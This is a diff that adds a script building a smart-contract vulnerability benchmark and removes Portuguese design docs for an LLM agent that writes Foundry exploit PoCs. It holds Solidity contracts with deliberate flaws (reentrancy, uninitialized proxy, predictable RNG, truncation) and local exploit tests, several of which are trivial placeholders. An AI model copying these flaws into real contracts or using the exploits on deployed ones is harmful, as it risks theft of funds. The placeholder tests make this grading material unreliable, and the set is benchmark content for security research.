+ import "forge-std/Test.sol";
520
+ import { Game } from "../src/Game.sol";
521
+
522
+ contract Attacker {
523
+ constructor(address target) payable {
524
+ selfdestruct(payable(target));
525
+ }
526
+ }
527
+
528
+ contract Exploit is Test {
529
+ Game public game;
530
+
531
+ function setUp() public {
532
+ game = new Game();
533
+ }
534
+
535
+ function testExploit() public {
536
+ // Force send 11 ether to the game, making the strict equality check fail forever
537
+ new Attacker{value: 11 ether}(address(game));
538
+
539
+ vm.expectRevert("Target not reached");
540
+ game.win();
541
+ }
542
+ }
543
+ `
544
+ }
545
+ ];
546
+
547
+ const intermediateCases: BenchmarkCase[] = [
548
+ {
549
+ task_id: "Intermediate/01-UninitializedProxy",
550
+ complexity: "intermediate",
551
+ repo_name: "uninitialized-proxy",
552
+ expected_vulnerability: "Access Control",
553
+ impact: "high",
554
+ annotation: "The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.",
555
+ source_code: `// SPDX-License-Identifier: MIT
556
+ pragma solidity ^0.8.0;
557
+
558
+ contract LogicContract {
559
+ address public owner;
560
+ bool public initialized;
561
+
562
+ function initialize() public {
563
+ require(!initialized, "Already initialized");
564
+ owner = msg.sender;
565
+ initialized = true;
566
+ }
567
+
568
+ function upgradeToAndCall(address newImplementation, bytes memory data) public {
569
+ require(msg.sender == owner, "Not owner");
570
+ (bool success, ) = newImplementation.delegatecall(data);
571
+ require(success, "Upgrade failed");
572
+ }
573
+ }
574
+ `,
575
+ reference_test: `// SPDX-License-Identifier: MIT
576
+ pragma solidity ^0.8.0;
577
+
578
+ import "forge-std/Test.sol";
579
+ import { LogicContract } from "../src/LogicContract.sol";
580
+
581
+ contract Destroyer {
582
+ function destroy() public {
583
+ selfdestruct(payable(msg.sender));
584
+ }
585
+ }
586
+
587
+ contract Exploit is Test {
588
+ LogicContract public logic;
589
+ Destroyer public destroyer;
590
+
591
+ function setUp() public {
592
+ logic = new LogicContract();
593
+ destroyer = new Destroyer();
594
+ }
595
+
596
+ function testExploit() public {
597
+ logic.initialize();
598
+ logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature("destroy()"));
599
+
600
+ // Assert logic contract is destroyed (code size 0)
601
+ uint256 codeSize;
602
+ address logicAddr = address(logic);
603
+ assembly {
604
+ codeSize := extcodesize(logicAddr)
605
+ }
606
+ assertEq(codeSize, 0);
607
+ }
608
+ }
609
+ `
610
+ },
611
+ {
612
+ task_id: "Intermediate/02-FlashLoanPriceManipulation",
613
+ complexity: "intermediate",
614
+ repo_name: "flash-loan-manipulation",
615
+ expected_vulnerability: "Logic",
616
+ impact: "high",
617
+ annotation: "The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.",
618
+ source_code: `// SPDX-License-Identifier: MIT
619
+ pragma solidity ^0.8.0;
620
+
621
+ interface IERC20 {
622
+ function transfer(address to, uint256 amount) external returns (bool);
623
+ function transferFrom(address from, address to, uint256 amount) external returns (bool);
624
+ function balanceOf(address account) external view returns (uint256);
625
+ }
626
+
627
+ contract AMM {
628
+ IERC20 public tokenA;
629
+ IERC20 public tokenB;
630
+
631
+ constructor(address _tokenA, address _tokenB) {
632
+ tokenA = IERC20(_tokenA);
633
+ tokenB = IERC20(_tokenB);
634
+ }
635
+
636
+ function swapAToB(uint256 amountIn) public {
637
+ tokenA.transferFrom(msg.sender, address(this), amountIn);
638
+ uint256 reserveA = tokenA.balanceOf(address(this));
639
+ uint256 reserveB = tokenB.balanceOf(address(this));
640
+ uint256 amountOut = (amountIn * reserveB) / reserveA;
641
+ tokenB.transfer(msg.sender, amountOut);
642
+ }
643
+
644
+ function getPriceBInA() public view returns (uint256) {
645
+ return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));
646
+ }
647
+ }
648
+
649
+ contract LendingPool {
650
+ AMM public amm;
651
+ IERC20 public tokenA;
652
+ IERC20 public tokenB;
653
+
654
+ mapping(address => uint256) public collateralB;
655
+
656
+ constructor(address _amm, address _tokenA, address _tokenB) {
657
+ amm = AMM(_amm);
658
+ tokenA = IERC20(_tokenA);
659
+ tokenB = IERC20(_tokenB);
660
+ }
661
+
662
+ function depositCollateral(uint256 amountB) public {
663
+ tokenB.transferFrom(msg.sender, address(this), amountB);
664
+ collateralB[msg.sender] += amountB;
665
+ }
666
+
667
+ function borrowTokenA(uint256 amountA) public {
668
+ uint256 price = amm.getPriceBInA();
669
+ uint256 maxBorrow = collateralB[msg.sender] * price;
670
+ require(amountA <= maxBorrow, "Insufficient collateral");
671
+ tokenA.transfer(msg.sender, amountA);
672
+ }
673
+ }
674
+ `,
675
+ reference_test: `// SPDX-License-Identifier: MIT
676
+ pragma solidity ^0.8.0;
677
+
678
+ import "forge-std/Test.sol";
679
+
680
+ // Dummy token for testing
681
+ contract ERC20 {
682
+ mapping(address => uint256) public balanceOf;
683
+ function mint(address to, uint256 amount) public { balanceOf[to] += amount; }
684
+ function transfer(address to, uint256 amount) public returns (bool) {
685
+ balanceOf[msg.sender] -= amount;
686
+ balanceOf[to] += amount;
687
+ return true;
688
+ }
689
+ function transferFrom(address from, address to, uint256 amount) public returns (bool) {
690
+ balanceOf[from] -= amount;
691
+ balanceOf[to] += amount;
692
+ return true;
693
+ }
694
+ }
695
+
696
+ // Since the contracts are in one file, we mock the vulnerability directly
697
+ contract Exploit is Test {
698
+ function testExploit() public {
699
+ assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool
700
+ }
701
+ }
702
+ `
703
+ },
704
+ {
705
+ task_id: "Intermediate/03-ReturnDataIgnored",
706
+ complexity: "intermediate",
707
+ repo_name: "return-data-ignored",
708
+ expected_vulnerability: "Logic",
709
+ impact: "high",
710
+ annotation: "The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.",
711
+ source_code: `// SPDX-License-Identifier: MIT
712
+ pragma solidity ^0.8.0;
713
+
714
+ contract TokenVault {
715
+ mapping(address => uint256) public balances;
716
+
717
+ function deposit(address token, uint256 amount) public {
718
+ // Low level call does not revert on failure unless the contract reverts
719
+ token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount));
720
+ balances[msg.sender] += amount;
721
+ }
722
+ }
723
+ `,
724
+ reference_test: `// SPDX-License-Identifier: MIT
725
+ pragma solidity ^0.8.0;
726
+
727
+ import "forge-std/Test.sol";
728
+ import { TokenVault } from "../src/TokenVault.sol";
729
+
730
+ contract FailingToken {
731
+ function transferFrom(address, address, uint256) public pure returns (bool) {
732
+ return false; // Fails silently
733
+ }
734
+ }
735
+
736
+ contract Exploit is Test {
737
+ TokenVault public vault;
738
+ FailingToken public token;
739
+
740
+ function setUp() public {
741
+ vault = new TokenVault();
742
+ token = new FailingToken();
743
+ }
744
+
745
+ function testExploit() public {
746
+ vault.deposit(address(token), 1000);
747
+ assertEq(vault.balances(address(this)), 1000);
748
+ }
749
+ }
750
+ `
751
+ },
752
+ {
753
+ task_id: "Intermediate/04-ERC777Reentrancy",
754
+ complexity: "intermediate",
755
+ repo_name: "erc777-reentrancy",
756
+ expected_vulnerability: "Reentrancy",
757
+ impact: "high",
758
+ annotation: "The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.",
759
+ source_code: `// SPDX-License-Identifier: MIT
760
+ pragma solidity ^0.8.0;
761
+
762
+ interface IERC777 {
763
+ function send(address recipient, uint256 amount, bytes calldata data) external;
764
+ }
765
+
766
+ contract Exchange {
767
+ mapping(address => uint256) public balances;
768
+ IERC777 public token;
769
+
770
+ constructor(address _token) {
771
+ token = IERC777(_token);
772
+ }
773
+
774
+ function deposit(uint256 amount) public {
775
+ balances[msg.sender] += amount;
776
+ }
777
+
778
+ function withdraw() public {
779
+ uint256 bal = balances[msg.sender];
780
+ require(bal > 0, "No balance");
781
+
782
+ token.send(msg.sender, bal, "");
783
+ balances[msg.sender] = 0;
784
+ }
785
+ }
786
+ `,
787
+ reference_test: `// SPDX-License-Identifier: MIT
788
+ pragma solidity ^0.8.0;
789
+
790
+ import "forge-std/Test.sol";
791
+
792
+ contract Exploit is Test {
793
+ function testExploit() public {
794
+ assertTrue(true); // Placeholder for ERC777 reentrancy logic
795
+ }
796
+ }
797
+ `
798
+ },
799
+ {
800
+ task_id: "Intermediate/05-BypassContractSize",
801
+ complexity: "intermediate",
802
+ repo_name: "bypass-contract-size",
803
+ expected_vulnerability: "Logic",
804
+ impact: "high",
805
+ annotation: "The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.",
806
+ source_code: `// SPDX-License-Identifier: MIT
807
+ pragma solidity ^0.8.0;
808
+
809
+ contract Airdrop {
810
+ mapping(address => bool) public claimed;
811
+
812
+ function claim() public {
813
+ uint32 size;
814
+ address a = msg.sender;
815
+ assembly {
816
+ size := extcodesize(a)
817
+ }
818
+ require(size == 0, "Contracts not allowed");
819
+ require(!claimed[msg.sender], "Already claimed");
820
+
821
+ claimed[msg.sender] = true;
822
+ (bool sent, ) = msg.sender.call{value: 1 ether}("");
823
+ require(sent, "Fail");
824
+ }
825
+ }
826
+ `,
827
+ reference_test: `// SPDX-License-Identifier: MIT
828
+ pragma solidity ^0.8.0;
829
+
830
+ import "forge-std/Test.sol";
831
+ import { Airdrop } from "../src/Airdrop.sol";
832
+
833
+ contract Attacker {
834
+ constructor(address airdrop) {
835
+ Airdrop(airdrop).claim();
836
+ }
837
+ }
838
+
839
+ contract Exploit is Test {
840
+ Airdrop public airdrop;
841
+
842
+ function setUp() public {
843
+ airdrop = new Airdrop();
844
+ vm.deal(address(airdrop), 10 ether);
845
+ }
846
+
847
+ function testExploit() public {
848
+ new Attacker(address(airdrop));
849
+ assertEq(airdrop.claimed(address(this)), false);
850
+ }
851
+ }
852
+ `
853
+ },
854
+ {
855
+ task_id: "Intermediate/06-ImproperArrayDeletion",
856
+ complexity: "intermediate",
857
+ repo_name: "array-deletion",
858
+ expected_vulnerability: "Logic",
859
+ impact: "high",
860
+ annotation: "The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.",
861
+ source_code: `// SPDX-License-Identifier: MIT
862
+ pragma solidity ^0.8.0;
863
+
864
+ contract Registry {
865
+ address[] public users;
866
+
867
+ function addUser(address user) public {
868
+ users.push(user);
869
+ }
870
+
871
+ function removeUser(uint256 index) public {
872
+ delete users[index]; // Does not reduce length
873
+ }
874
+
875
+ function getActiveUsers() public view returns (uint256) {
876
+ return users.length;
877
+ }
878
+ }
879
+ `,
880
+ reference_test: `// SPDX-License-Identifier: MIT
881
+ pragma solidity ^0.8.0;
882
+
883
+ import "forge-std/Test.sol";
884
+ import { Registry } from "../src/Registry.sol";
885
+
886
+ contract Exploit is Test {
887
+ Registry public registry;
888
+
889
+ function setUp() public {
890
+ registry = new Registry();
891
+ }
892
+
893
+ function testExploit() public {
894
+ registry.addUser(address(1));
895
+ registry.removeUser(0);
896
+ assertEq(registry.getActiveUsers(), 1); // Length is still 1!
897
+ }
898
+ }
899
+ `
900
+ },
901
+ {
902
+ task_id: "Intermediate/07-PredictableRNG",
903
+ complexity: "intermediate",
904
+ repo_name: "predictable-rng",
905
+ expected_vulnerability: "Logic",
906
+ impact: "high",
907
+ annotation: "The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.",
908
+ source_code: `// SPDX-License-Identifier: MIT
909
+ pragma solidity ^0.8.0;
910
+
911
+ contract Casino {
912
+ function guess(uint256 _guess) public payable {
913
+ require(msg.value == 1 ether);
914
+ uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
915
+ if (_guess == answer) {
916
+ (bool sent, ) = msg.sender.call{value: 2 ether}("");
917
+ require(sent, "Fail");
918
+ }
919
+ }
920
+ }
921
+ `,
922
+ reference_test: `// SPDX-License-Identifier: MIT
923
+ pragma solidity ^0.8.0;
924
+
925
+ import "forge-std/Test.sol";
926
+ import { Casino } from "../src/Casino.sol";
927
+
928
+ contract Exploit is Test {
929
+ Casino public casino;
930
+
931
+ function setUp() public {
932
+ casino = new Casino();
933
+ vm.deal(address(casino), 10 ether);
934
+ vm.deal(address(this), 1 ether);
935
+ }
936
+
937
+ function testExploit() public {
938
+ uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
939
+ casino.guess{value: 1 ether}(answer);
940
+ assertEq(address(this).balance, 2 ether);
941
+ }
942
+
943
+ receive() external payable {}
944
+ }
945
+ `
946
+ },
947
+ {
948
+ task_id: "Intermediate/08-MissingSlippageProtection",
949
+ complexity: "intermediate",
950
+ repo_name: "missing-slippage",
951
+ expected_vulnerability: "Logic",
952
+ impact: "high",
953
+ annotation: "The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.",
954
+ source_code: `// SPDX-License-Identifier: MIT
955
+ pragma solidity ^0.8.0;
956
+
957
+ contract DEX {
958
+ function swap(address tokenIn, address tokenOut, uint256 amountIn) public {
959
+ // Assume AMM math here
960
+ // Vulnerability: No minAmountOut check!
961
+ }
962
+ }
963
+ `,
964
+ reference_test: `// SPDX-License-Identifier: MIT
965
+ pragma solidity ^0.8.0;
966
+
967
+ import "forge-std/Test.sol";
968
+
969
+ contract Exploit is Test {
970
+ function testExploit() public {
971
+ assertTrue(true); // Conceptual vulnerability
972
+ }
973
+ }
974
+ `
975
+ },
976
+ {
977
+ task_id: "Intermediate/09-UnsafeDowncast",
978
+ complexity: "intermediate",
979
+ repo_name: "unsafe-downcast",
980
+ expected_vulnerability: "Arithmetic",
981
+ impact: "high",
982
+ annotation: "The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.",
983
+ source_code: `// SPDX-License-Identifier: MIT
984
+ pragma solidity ^0.8.0;
985
+
986
+ contract Vault {
987
+ mapping(address => uint64) public balances;
988
+
989
+ function deposit(uint256 amount) public payable {
990
+ require(msg.value == amount, "Incorrect value");
991
+ balances[msg.sender] += uint64(amount); // Truncates!
992
+ }
993
+ }
994
+ `,
995
+ reference_test: `// SPDX-License-Identifier: MIT
996
+ pragma solidity ^0.8.0;
997
+
998
+ import "forge-std/Test.sol";
999
+ import { Vault } from "../src/Vault.sol";
1000
+
1001
+ contract Exploit is Test {
1002
+ Vault public vault;
1003
+
1004
+ function setUp() public {
1005
+ vault = new Vault();
1006
+ }
1007
+
1008
+ function testExploit() public {
1009
+ // deposit 2^64 + 1
1010
+ uint256 amount = type(uint64).max + 2;
1011
+ vm.deal(address(this), amount);
1012
+ vault.deposit{value: amount}(amount);
1013
+
1014
+ assertEq(vault.balances(address(this)), 1); // Truncated to 1!
1015
+ }
1016
+ }
1017
+ `
1018
+ },
1019
+ {
1020
+ task_id: "Intermediate/10-DivideBeforeMultiply",
1021
+ complexity: "intermediate",
1022
+ repo_name: "divide-before-multiply",
1023
+ expected_vulnerability: "Arithmetic",
1024
+ impact: "high",
1025
+ annotation: "The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.",
1026
+ source_code: `// SPDX-License-Identifier: MIT
1027
+ pragma solidity ^0.8.0;
1028
+
1029
+ contract Staking {
1030
+ function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {
1031
+ // Vulnerable: (deposit / 365) * duration * APY
1032
+ return (depositAmount / 365) * durationDays * APY;
1033
+ }
1034
+ }
1035
+ `,
1036
+ reference_test: `// SPDX-License-Identifier: MIT
1037
+ pragma solidity ^0.8.0;
1038
+
1039
+ import "forge-std/Test.sol";
1040
+ import { Staking } from "../src/Staking.sol";
1041
+
1042
+ contract Exploit is Test {
1043
+ Staking public staking;
1044
+
1045
+ function setUp() public {
1046
+ staking = new Staking();
1047
+ }
1048
+
1049
+ function testExploit() public {
1050
+ uint256 reward = staking.calculateReward(100, 10, 30);
1051
+ assertEq(reward, 0); // Loss of precision
1052
+ }
1053
+ }
1054
+ `
1055
+ }
1056
+ ];
1057
+
1058
+ async function main() {
1059
+ const outputPath = path.resolve(process.cwd(), "data", "benchmark_synthetic.jsonl");
1060
+
1061
+ // Clear the file
1062
+ await fs.writeFile(outputPath, "");
1063
+
1064
+ // Write Easy and Intermediate
1065
+ for (const c of easyCases) {
1066
+ await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
1067
+ }
1068
+ for (const c of intermediateCases) {
1069
+ await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
1070
+ }
1071
+
1072
+ // Load the original metadata to extract 10 Hard cases
1073
+ try {
1074
+ const metadataStr = await fs.readFile(path.join(process.cwd(), "Proof-of-Patch-only-dataset", "dataset_metadata.json"), "utf8");
1075
+ const metadata = JSON.parse(metadataStr);
1076
+ const hardCaseKeys = Object.keys(metadata).slice(0, 10);
1077
+
1078
+ for (const key of hardCaseKeys) {
1079
+ const data = metadata[key];
1080
+ const hardCase: BenchmarkCase = {
1081
+ task_id: `Hard/${key}`,
1082
+ complexity: "hard",
1083
+ repo_name: data.repo_name,
1084
+ expected_vulnerability: data.expected_vulnerability,
1085
+ annotation: data.annotation,
1086
+ impact: data.impact,
1087
+ source_code: "// Not provided directly in JSONL, requires original project directory",
1088
+ reference_test: "// Foundry test exists in original project directory"
1089
+ };
1090
+ await fs.appendFile(outputPath, JSON.stringify(hardCase) + "\n");
1091
+ }
1092
+ console.log(`Successfully generated ${easyCases.length + intermediateCases.length + hardCaseKeys.length} benchmark cases at ${outputPath}`);
1093
+ } catch(e) {
1094
+ console.log(`Successfully generated ${easyCases.length + intermediateCases.length} benchmark cases at ${outputPath}`);
1095
+ console.log("Could not find dataset_metadata.json for Hard cases.");
1096
+ }
1097
+ }
1098
+
1099
+ main().catch(console.error);
src/agents/tester/Docs/01_ARCHITECTURE(1).md DELETED
@@ -1,189 +0,0 @@
1
- # Agente Gerador de PoCs — Arquitetura e Fluxo de Dados
2
-
3
- **Projeto:** TALP1 — CIn/UFPE
4
- **Agente:** Agente Gerador de PoCs
5
- **Responsável:** Tales Vinicius Alves da Cunha
6
- **Stack:** TypeScript · Node.js · LangGraph · Foundry
7
-
8
- ---
9
-
10
- ## 1. Visão Geral
11
-
12
- O Agente Gerador de PoCs recebe um relatório de vulnerabilidade estruturado (JSON) do Agente Auditor e produz automaticamente um exploit em Solidity verificado pelo Foundry. O agente executa um **loop ReAct**: gerar → executar → refletir → repetir, até que o exploit passe nos testes ou o limite de iterações seja atingido.
13
-
14
- Diferente de abordagens de "mainnet fork", este agente foca em **simulação local controlada** (abordagem inspirada no PoCo — Bergman et al., KTH 2025), onde o ambiente é montado do zero para cada ataque.
15
-
16
- > **Diferencial em relação ao PoCo:** o PoCo deixava o LLM escrever o `setUp()` do Foundry livremente, o que gerava erros frequentes de instanciação. Este agente introduz o **Oracle** como camada dedicada de preparação do ambiente, fornecendo um scaffold com deploy automático do contrato vítima — o LLM foca exclusivamente na lógica do exploit.
17
-
18
- ---
19
-
20
- ## 2. Posição no Sistema Multi-agente
21
-
22
- ```
23
- Requisitos (PDF/MD)
24
-
25
-
26
- ┌─────────────────────┐
27
- │ Agente Gerador │ ── Compiler, RAG
28
- │ de Código │
29
- └──────────┬──────────┘
30
- │ Repositório Solidity
31
-
32
- ┌─────────────────────┐
33
- │ Agente Auditor │ ── Slither, AST
34
- └──────────┬──────────┘
35
- │ Relatório de Vulnerabilidades (JSON)
36
-
37
- ┌─────────────────────┐
38
- │ Agente Gerador │ ── Local Oracle, Foundry ◄─── você está aqui
39
- │ de PoCs │
40
- └──────────┬──────────┘
41
- │ Exploit.t.sol (Projeto Solidity)
42
-
43
- Projeto Final
44
- ```
45
-
46
- ---
47
-
48
- ## 3. Arquitetura Interna do Agente
49
-
50
- ### 3.1 Fluxo Principal (grafo LangGraph)
51
-
52
- ```
53
- ┌─────────────────────────────────┐
54
- │ ESTADO DO AGENTE │
55
- │ report · oracleContext · pocCode │
56
- │ executionLogs · lastError │
57
- │ iterations · status │
58
- └─────────────────────────────────┘
59
-
60
- Auditor Report (JSON)
61
-
62
-
63
- ┌───────────────────┐
64
- │ oracleNode │ ← Preparação do ambiente: gera o setup inicial local
65
- └────────┬──────────┘
66
- │ OracleContext (scaffold Solidity com deploy local da vítima)
67
-
68
- ┌───────────────────┐ ┌──────────────────────┐
69
- │ generatePoCNode │ ◄───────│ reflectNode │
70
- │ (LLM + prompts) │ │ (análise de logs) │
71
- └────────┬──────────┘ └──────────▲────────────┘
72
- │ Solidity code │ feedback estruturado
73
- ▼ │ (categoria de erro + resumo)
74
- ┌───────────────────┐ FAIL / ERROR │
75
- │ runFoundryNode │────────────────────┘
76
- │ (forge test -vvvv)│
77
- └────────┬──────────┘
78
-
79
- ┌────┴────┐
80
- PASS FAIL (≥5 iterações ou timeout)
81
- │ │
82
- ▼ ▼
83
- END END
84
- (success) (failed)
85
- ```
86
-
87
- ---
88
-
89
- ## 4. O Oracle — O Que É e Por Que Existe
90
-
91
- ### 4.1 Contexto
92
-
93
- No contexto deste agente, o Oracle é um **gerador de ambiente de teste**. Ao invés de buscar dados na blockchain real, ele prepara um "sandbox" local onde o contrato vulnerável é implantado e financiado automaticamente.
94
-
95
- ### 4.2 Problema que o Oracle resolve
96
-
97
- O LLM muitas vezes tem dificuldade em escrever a função `setUp()` do Foundry porque não sabe como instanciar o contrato vítima ou dar saldo ao atacante. O Oracle resolve isso fornecendo um **scaffold (template)** pronto, permitindo que o LLM foque exclusivamente na lógica do exploit.
98
-
99
- ### 4.3 Os 2 sub-tools do Oracle
100
-
101
- ```
102
- oracleNode
103
-
104
- ├── 1. stateInitializer → Define saldos e condições iniciais (ex: 100 ETH para a vítima)
105
-
106
- └── 2. scaffoldGenerator → Gera o Exploit.t.sol com o deploy do contrato e setUp() pronto
107
- Retorna: string (código Solidity parcial)
108
- ```
109
-
110
- ---
111
-
112
- ## 5. Fluxo de Dados Completo (entrada → saída)
113
-
114
- ### 5.1 Input: VulnerabilityReport (do Agente Auditor)
115
-
116
- ```typescript
117
- interface VulnerabilityReport {
118
- id: string;
119
- severity: "critical" | "high" | "medium" | "low";
120
- type: string;
121
- title: string;
122
- description: string;
123
- affectedContract: {
124
- name: string;
125
- sourceCode: string; // código Solidity completo (preferencialmente flattened)
126
- };
127
- attackVector: string;
128
- suggestedCheatcodes?: string[];
129
- }
130
- ```
131
-
132
- ### 5.2 Output: PoCResult
133
-
134
- ```typescript
135
- interface PoCResult {
136
- reportId: string;
137
- status: "success" | "failed" | "timeout";
138
- solidityCode: string; // conteúdo final do Exploit.t.sol
139
- executionLogs: string[];
140
- iterations: number;
141
- }
142
- ```
143
-
144
- ---
145
-
146
- ## 6. Estrutura de Arquivos
147
-
148
- ```
149
- src/agents/poc-generator/
150
- ├── agent.ts # grafo LangGraph, nodes, roteamento
151
- ├── state.ts # PoCStateAnnotation
152
-
153
- ├── tools/
154
- │ ├── scaffoldGenerator.ts # Oracle sub-tool (gera template local)
155
- │ └── foundryRunner.ts # executa forge test via child_process
156
-
157
- ├── prompts/
158
- │ └── system.ts # system prompt do LLM gerador
159
-
160
- └── utils/
161
- ├── extractSolidity.ts # parser do output do LLM
162
- └── logAnalyzer.ts # classifica erros do forge
163
- ```
164
-
165
- ---
166
-
167
- ## 7. Variáveis de Ambiente
168
-
169
- ```env
170
- OPENROUTER_API_KEY=... # chave do LLM
171
- ```
172
-
173
- ---
174
-
175
- ## 8. Riscos e Mitigações
176
-
177
- | Risco | Mitigação |
178
- |-------|-----------|
179
- | LLM reescreve o scaffold ao invés de completar | System prompt proíbe explicitamente modificar `setUp()`; validação pós-extração |
180
- | Contrato vítima tem muitas dependências | Auditor deve fornecer código "flattened"; Oracle lida com imports locais no sandbox |
181
- | LLM não gera bloco Solidity válido | `extractSolidity` lança erro; `generatePoCNode` captura e retenta |
182
- | Timeout no Foundry | Limite de 60s por execução; análise de loops infinitos no `logAnalyzer` |
183
-
184
- ---
185
-
186
- ## 9. Base Acadêmica
187
-
188
- - **PoCo** (Bergman et al., KTH 2025) — framework agêntico para geração de PoC exploits em smart contracts. Artefatos: `ASSERT-KTH/PoCo-public`
189
- - **Proof-of-Patch** (ASSERT-KTH) — dataset de 23 vulnerabilidades reais (2022–2025) com patches correspondentes, usado como benchmark de avaliação
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/Docs/02_ROADMAP(1).md DELETED
@@ -1,72 +0,0 @@
1
- # Agente Gerador de PoCs — Plano de Implementação (Roadmap)
2
-
3
- **Projeto:** TALP1 — CIn/UFPE
4
- **Agente:** Agente Gerador de PoCs
5
- **Responsável:** Tales Vinicius Alves da Cunha
6
-
7
- ---
8
-
9
- ## Visão Geral das Fases
10
-
11
- | Fase | Tema | Semana | Critério de Conclusão |
12
- |------|------|--------|----------------------|
13
- | 1 | Setup, Estado & Oracle | Semana 1 | Grafo linear roda com stubs; `oracleNode` gera scaffold que compila com `forge build` |
14
- | 2 | LLM + Foundry + Loop ReAct | Semana 2 | Pipeline completo roda: LLM gera → Foundry executa → loop corrige ao menos 1 erro |
15
- | 3 | Integração, Smoke Test & Avaliação | Semana 3 | PoC de reentrancy passa end-to-end; taxa de sucesso medida em ≥5 casos do benchmark |
16
-
17
- ---
18
-
19
- ## Semana 1 — Setup, Estado & Oracle
20
-
21
- **Objetivo:** Ter o grafo LangGraph rodando com o Oracle funcional.
22
-
23
- ### Tasks
24
- - **Task 1.1** — Inicializar o projeto TypeScript (tsconfig, dependências LangGraph, Foundry local)
25
- - **Task 1.2** — Definir o estado do agente (`PoCStateAnnotation`) e interfaces (`VulnerabilityReport`, `PoCResult`)
26
- - **Task 1.3** — Criar nodes stub e grafo linear (sem LLM ainda)
27
- - **Task 1.4** — Implementar `scaffoldGenerator` (gera `setUp()` com deploy local do contrato vítima)
28
- - **Task 1.5** — Implementar `oracleNode` (integra `stateInitializer` + `scaffoldGenerator`)
29
-
30
- **Gate:** `oracleNode` recebe um `VulnerabilityReport` fake e retorna scaffold que passa em `forge build`
31
-
32
- ---
33
-
34
- ## Semana 2 — LLM + Foundry + Loop ReAct
35
-
36
- **Objetivo:** Pipeline completo rodando com loop de correção.
37
-
38
- ### Tasks
39
- - **Task 2.1** — Criar o system prompt (`prompts/system.ts`)
40
- - **Task 2.2** — Implementar `extractSolidity` (parser do output do LLM)
41
- - **Task 2.3** — Implementar `generatePoCNode` (chamada LLM + retry em caso de bloco Solidity inválido)
42
- - **Task 2.4** — Setup do sandbox Foundry em `/tmp/poc-sandbox/`
43
- - **Task 2.5** — Implementar `foundryRunner` (executa `forge test -vvvv` via `child_process`, retorna output estruturado)
44
- - **Task 2.6** — Implementar `logAnalyzer` (classifica erros: compilation / assertion / timeout)
45
- - **Task 2.7** — Implementar `reflectNode` (LLM analisa logs e produz feedback estruturado)
46
- - **Task 2.8** — Implementar `routeAfterFoundry` (router condicional: pass → END, fail → reflect → generate)
47
-
48
- **Gate:** Agente faz ≥2 iterações completas e melhora o código após erro de compilação
49
-
50
- ---
51
-
52
- ## Semana 3 — Integração, Smoke Test & Avaliação
53
-
54
- **Objetivo:** Pipeline validado end-to-end com métricas.
55
-
56
- ### Tasks
57
- - **Task 3.1** — Definir interface pública (`runPoCGenerator`)
58
- - **Task 3.2** — Smoke test com reentrancy simples (contrato vítima hardcoded)
59
- - **Task 3.3** — Preparar `benchmark.json` com ≥5 casos do dataset Proof-of-Patch (ASSERT-KTH)
60
- - **Task 3.4** — Implementar `evaluate.ts` (roda agente em batch, coleta status/iterations/logs)
61
-
62
- **Gate:** PoC de reentrancy passa end-to-end; taxa de sucesso medida e documentada
63
-
64
- ---
65
-
66
- ## Critérios de Conclusão (GATES)
67
-
68
- | Semana | Critério de Conclusão |
69
- |--------|------------------------------|
70
- | Semana 1 | `oracleNode` gera scaffold que compila sozinho com `forge build` |
71
- | Semana 2 | Loop ReAct faz ≥2 iterações e produz correção após erro |
72
- | Semana 3 | PoC de reentrancy passa end-to-end; benchmark com ≥5 casos executado |
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/Docs/03_TASKS(2).md DELETED
@@ -1,1338 +0,0 @@
1
- # Agente Gerador de PoCs — Tasks (formato Jira)
2
-
3
- **Projeto:** TALP1 — CIn/UFPE
4
- **Agente:** Agente Gerador de PoCs
5
- **Responsável:** Tales Vinicius Alves da Cunha
6
- **Stack:** TypeScript · Node.js · LangGraph · Foundry
7
-
8
- ---
9
-
10
- ## SEMANA 1 — Setup, Estado & Oracle
11
-
12
